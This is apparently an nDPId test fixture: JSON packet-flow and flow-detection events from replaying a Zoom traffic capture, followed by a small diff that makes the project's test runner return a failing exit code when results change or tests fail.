+00439{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":939789,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA\/uqdAADURuydtXqBjwKgBdSJh7MwAK7AuAgABgEJ0mpHOZDa3wq7Yfnt8kABaDj8AegDRAAAAAAAAAAA="} +00414{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":939806,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":21,"pkt":"KDc3AG3IEBMx8Tl2CABFAAApuqhAADURuzxtXqBjwKgBdSJh7MwAFUSkAwAAAAF2Ko4UAFoOPwAAAAAA"} +00411{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":940080,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAp\/q0AAEARrDfAqAF1bV6gY+zMImEAFUOkBAAAAAF2Ko4UAFoOPw=="} +00476{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":948060,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"EBMx8Tl2KDc3AG3ICABFAABbUt8AAEARV9TAqAF1bV6gY+zMImEAR0iqBQwBIY6cOSjESy+pAnBygi5W9gEABAIBAAAAAAAAAAEAAAAWZGF0YV9iaW5kX3JlcGxhY2VfZmxhZwIAAAAB"} +00450{"flow_id":32,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":971540,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"KDc3AG3IEBMx8Tl2CABFAABHusVAADURuwFtXqBjwKgBdSJh7MwAM1JtBQ0BIY6cOSjESy+pAnBygi5W9gEABAIBAAAAAAEAAAADcmlkAwAAAAAAAA=="} +00695{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520472,"pkt_ts_usec":536483,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":265,"pkt_l4_len":231,"pkt":"EBMx8Tl2KDc3AG3ICABFAAD7AABAAEAGtb7AqAF1rNkVSNZGAbt9MLg2pduNV4AYEAjCmAAAAQEICiWc50xwmChtFgMBAMIBAAC+AwE5BEH329R9hgOe6JDNh5Do5\/IyBg\/qLeMPj9mOGNz+swAAEgAvADMANQA5wAnACsATwBRWAAEAAIP\/AQABAAAAAB0AGwAAGHd3dy5nb29nbGV0YWdtYW5hZ2VyLmNvbQAXAAAABQAFAQAAAAAzdAAAABIAAAAQADAALgJoMgVoMi0xNgVoMi0xNQVoMi0xNAhzcGR5LzMuMQZzcGR5LzMIaHR0cC8xLjEACwACAQAACgAKAAgAHQAXABgAGQ=="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":651,"source":"zoom.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1569520473084,"flow_last_seen":0,"flow_tot_l4_data_len":117,"flow_min_l4_data_len":117,"flow_max_l4_data_len":117,"flow_avg_l4_data_len":117,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"109.94.160.99","src_port":61731,"dst_port":8801,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00547{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":651,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520473,"pkt_ts_usec":84563,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"EBMx8Tl2KDc3AG3ICABFAACJ4\/YAAEARxo7AqAF1bV6gY\/EjImEAde5DAQACOkSxT2rBSy0CI5EJ7ghSoQAAAAAAAAACAHoFYgB6BWIAAABAyr1YPP8KZ34wUqB9PR5Zle\/sBvgfAfGBqNzDFPjrnryOYaOvAtAdhsk5Sd978V5OWjrnwByNSAVBXX+sDOwgiv\/\/\/\/8KAA=="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":651,"source":"zoom.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1569520473084,"flow_last_seen":0,"flow_tot_l4_data_len":117,"flow_min_l4_data_len":117,"flow_max_l4_data_len":117,"flow_avg_l4_data_len":117,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"109.94.160.99","src_port":61731,"dst_port":8801,"l4_proto":"udp","ndpi": {"proto":"Zoom","breed":"Acceptable","category":"Video"}} +00439{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":670,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520473,"pkt_ts_usec":116064,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA\/vWBAADURuG5tXqBjwKgBdSJh8SMAK0WqAgABOkSxT2rBSy0CI5EJ7ghSoQBaDkQAegViAAAAAAAAAAA="} +00414{"flow_id":33,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":671,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520473,"pkt_ts_usec":116083,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":21,"pkt":"KDc3AG3IEBMx8Tl2CABFAAApvWFAADURuINtXqBjwKgBdSJh8SMAFalIAwAAAAF2KpKmAFoORAAAAAAA"} +00411{"flow_id":33,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":672,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520473,"pkt_ts_usec":116331,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"EBMx8Tl2KDc3AG3ICABFAAApU1gAAEARV43AqAF1bV6gY\/EjImEAFahIBAAAAAF2KpKmAFoORA=="} +00485{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":677,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520473,"pkt_ts_usec":121070,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"EBMx8Tl2KDc3AG3ICABFAABfDmwAAEARnEPAqAF1bV6gY\/EjImEAS0M9BQ0AAAAMASGOnDkoxEsvqQJwcoIuVvYBAAQDAgAAAAAAAAABAAAAFmRhdGFfYmluZF9yZXBsYWNlX2ZsYWcCAAAAAQ=="} +00458{"flow_id":33,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":686,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520473,"pkt_ts_usec":151236,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"KDc3AG3IEBMx8Tl2CABFAABPvXlAADURuEVtXqBjwKgBdSJh8SMAO0r4BQ0AAAIAAAAADQEhjpw5KMRLL6kCcHKCLlb2AQAEAwIAAAAAAQAAAANyaWQDAAAAAAAA"} +00466{"flow_id":32,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":689,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520473,"pkt_ts_usec":157959,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"EBMx8Tl2KDc3AG3ICABFAABV25wAAEARzxzAqAF1bV6gY+zMImEAQdYuBSIBAPuQCRAAAAAAAAAAAACAyAAGAQAEAuE3edfn7BLaAAAJEAAAAAUAAAC1gcoAAgEABAIBAAAA"} +00411{"flow_id":33,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":693,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520473,"pkt_ts_usec":170187,"pkt_caplen":57,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":57,"pkt_l4_len":23,"pkt":"EBMx8Tl2KDc3AG3ICABFAAArmBYAAEAREs3AqAF1bV6gY\/EjImEAFxFSBQoGAAAAAAAAAAAAAAAA"} +00414{"flow_id":33,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":700,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520473,"pkt_ts_usec":198709,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":23,"pkt":"KDc3AG3IEBMx8Tl2CABFAAArvZdAADURuEttXqBjwKgBdSJh8SMAFxFSBQoGAAAAAAAAAAAAAAAAAAAA"} diff --git a/test/run_tests.sh b/test/run_tests.sh index 918767c8d..51261ecb5 100755 --- a/test/run_tests.sh +++ b/test/run_tests.sh @@ -25,6 +25,7 @@ EOF cd "${nDPI_TEST_DIR}" mkdir -p /tmp/nDPId-test-stderr set +e +RETVAL=0 for pcap_file in $(ls *.pcap*); do printf '%s' "${pcap_file}" @@ -42,10 +43,14 @@ for pcap_file in $(ls *.pcap*); do "${MYDIR}/results/${pcap_file}.out.new" mv -v "${MYDIR}/results/${pcap_file}.out.new" \ "${MYDIR}/results/${pcap_file}.out" + RETVAL=1 fi else printf ' [%s]\n' 'FAIL' + RETVAL=1 fi rm -f "${MYDIR}/results/${pcap_file}.out.new" done + +exit ${RETVAL} |